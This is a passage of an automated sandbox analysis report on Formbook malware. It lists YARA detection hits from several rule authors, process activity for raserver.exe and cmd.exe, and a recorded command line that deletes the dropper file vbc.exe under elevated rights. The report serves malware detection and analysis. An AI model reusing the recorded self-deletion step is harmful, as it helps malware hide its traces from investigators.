00000007.00000002.2352735993.0000000000080000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000002.2352735993.0000000000080000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000002.2352906664.00000000002D0000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000007.00000002.2352906664.00000000002D0000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000002.2352906664.00000000002D0000.00000004.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group

Reputation: moderate

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\SysWOW64\ntdll.dll 0 1314112 success or wait 1 99E47 NtReadFile

Analysis Process: raserver.exe PID: 2332 Parent PID: 1388Analysis Process: raserver.exe PID: 2332 Parent PID: 1388

General

File ReadFile Read

Analysis Process: cmd.exe PID: 2820 Parent PID: 2332Analysis Process: cmd.exe PID: 2820 Parent PID: 2332

General
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Disassembly

Code Analysis

File ActivitiesFile Activities

Start time: 11:34:30

Start date: 23/02/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Users\Public\vbc.exe'

Imagebase: 0x4ace0000

File size: 302592 bytes

MD5 hash: AD7B9C14083B52BC532FBA5948342B98

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Completion Count
Source
Address Symbol

C:\Users\Public\vbc.exe success or wait 1 4ACEA7BD DeleteFileW

File DeletedFile Deleted
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